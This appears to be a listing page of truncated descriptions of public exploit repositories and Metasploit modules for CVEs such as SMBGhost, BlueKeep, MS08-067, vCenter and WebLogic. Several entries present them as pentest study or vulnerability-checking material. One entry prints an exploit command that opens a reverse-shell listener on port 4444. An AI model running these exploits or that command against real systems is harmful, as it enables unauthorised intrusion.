SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module This is an implementation of the CVE-2020-0796 aka SMBGhost vulnerability, compatible with the Metasploit Framework Notes: This module made to be used when you have a valid shell to escalate your privileges. You can change the payload, if you want to have your custo...

CVE-2016-2776

CVE-2016-2776 A tale of a DNS Packet, a detailed walk-thru and proof of concept of BIND's CVE-2016-2776. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html In this repository you will find: Proof-of-Concept namedown.py Metasploit Auxiliary Module namedown.rb...

Bluekeep-Hunter

Bluekeep-Hunter CVE-2019-0708 Esto utiliza el módulo de metasploit para escanear y comprobar si CVE-2019-0708 existe o no. El objetivo de esto es comprobar y confirmar si los ordenadores de las organizaciones son realmente vulnerables o no, en lugar de utilizar una simple comprobación de versión ...

CVE-2012-2982-Python-PoC

CVE-2012-2982-Python-PoC This was converted from a metasploit module as an exercise for OSCP studying. It originally came from becoming frustrated with no public exploits to use manually for the box Gamezone from TryHackMe. I anaylzed the metasploit code and coverted it to python. Proof screensho...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC This was converted with tweaks from a metasploit module as an exercise for OSCP studying and exploit development. It originally came from searching for random remote command execution modules with searchsploit. I anaylzed the metasploit code and converted it to python...

cve-2025-24054

CVE-2025-24071: Fuga de hash NTLM mediante archivo .library-ms módulo de Metasploit Este repositorio contiene un módulo de Metasploit para explotar CVE-2025-24071, una vulnerabilidad en el Explorador de Windows que filtra hashes NTLM cuando un archivo .library-ms malicioso se extrae de un archivo...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Unauthenticated Arbitrary File Upload Metasploit Date: 30-01-2021 Exploit Author: Berkan Er [email protected] Vendor Homepage: https://www.fortilogger.com/ Software Link: https://www.fortilogger.com/download Version: 4.4.2.2 Tested on: Windows 10 Enterprise x64...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit the metasploit scriptPOC/EXP about CVE-2021-22005 VMware vCenter Server contains an arbitrary file upload vulnerability preparation POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

CVE-2017-10271

CVE-2017-10271 Script de detección y explotación de la vulnerabilidad de deserialización del componente Weblogic wls-wsat CVE-2017-10271 Uso root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Características Script Python independiente Función de...

Klog Server <=2.41 - Unauthenticated Command Injection

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shellexec PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Metasploit Module InfoBlox Network Automation OS Command Injection Metasploit Module Product: Network Automation root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller Vendor: root@kitploit: InfoBlox Vulnerable Versions: root@kitploit...

emby_ssrf

msfemby This tool will check a remote EMBY server to attempt to use an SSRF vulnerability to perform an http scan of the network internal to the EMBY server. This is based on the vulnerability CVE-2020-26948. Installation Clone the repo and put the rb files into the...

pipe_finder

Pipe Finder 1.0 Script automatizado para buscar en el protocolo SMB nombres de pipe disponibles Capturas de pantalla Requisitos metasploit-framework wget locate módulo pipeauditv2.rb https://github.com/peterpt/pipeauditorfb - Se instalará en la primera ejecución Requisitos de instalación apt-get...

cve-2013-3319

cve-2013-3319 metasploit module for CVE-2013-3319 / SAP Security Note 1816536 obsolete : use saphostctrlgetcomputersystem from metasploit. This is kept for historical purposes only. Full advisory: http://labs.integrity.pt/advisories/cve-2013-3319/...

CVE-2019-15029

CVE-2019-15029 The official exploit code for FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029 Metasploit Module I wrote a simple Metasploit module to exploit this issue fusionpbxservices.rb, you just have to download it and copy it into metasploit modules directory...

Modified-CVE-2020-10915-MsfModule

Modified-CVE-2020-10915-MsfModule ESTO NO ES UN EXPLOIT ORIGINAL. ES UNA VERSIÓN AUDITADA PARA UNA MÁQUINA DE THM A continuación, los enlaces para el original, la máquina de tryhackme y mi writeup para la máquina:...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan This Metasploit-Framework module can be use to help companies to check the last Citrix vulnerabilites disclosed July 08, 2020. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 Public reporting on July 8th, 2020 by Donny Maasland discussed how the vulnerability could be exploite...

CVE-2015-1578-PoC-Metasploit

CVE-2015-1578 Metasploit Module Overview This is a Metasploit module for CVE-2015-1578 , a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet. Purpose This module is designed to serve as a clean, minimal, and...

ms08-067

📖 Overview This repository contains a Metasploit module implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Kali Linux Metasploit Framework...

CVE-2020-1938-MSF-MODULE

CVE-2020-1938-MSF-MODULE Modified version of auxiliary/admin/http/tomcatghostcat, Read any file Overwrite the file/metasploit-framework/modules/auxiliary/admin/http/tomcatghostcat.rb and restart msfconsole to execute reloadall. Then you can use the module...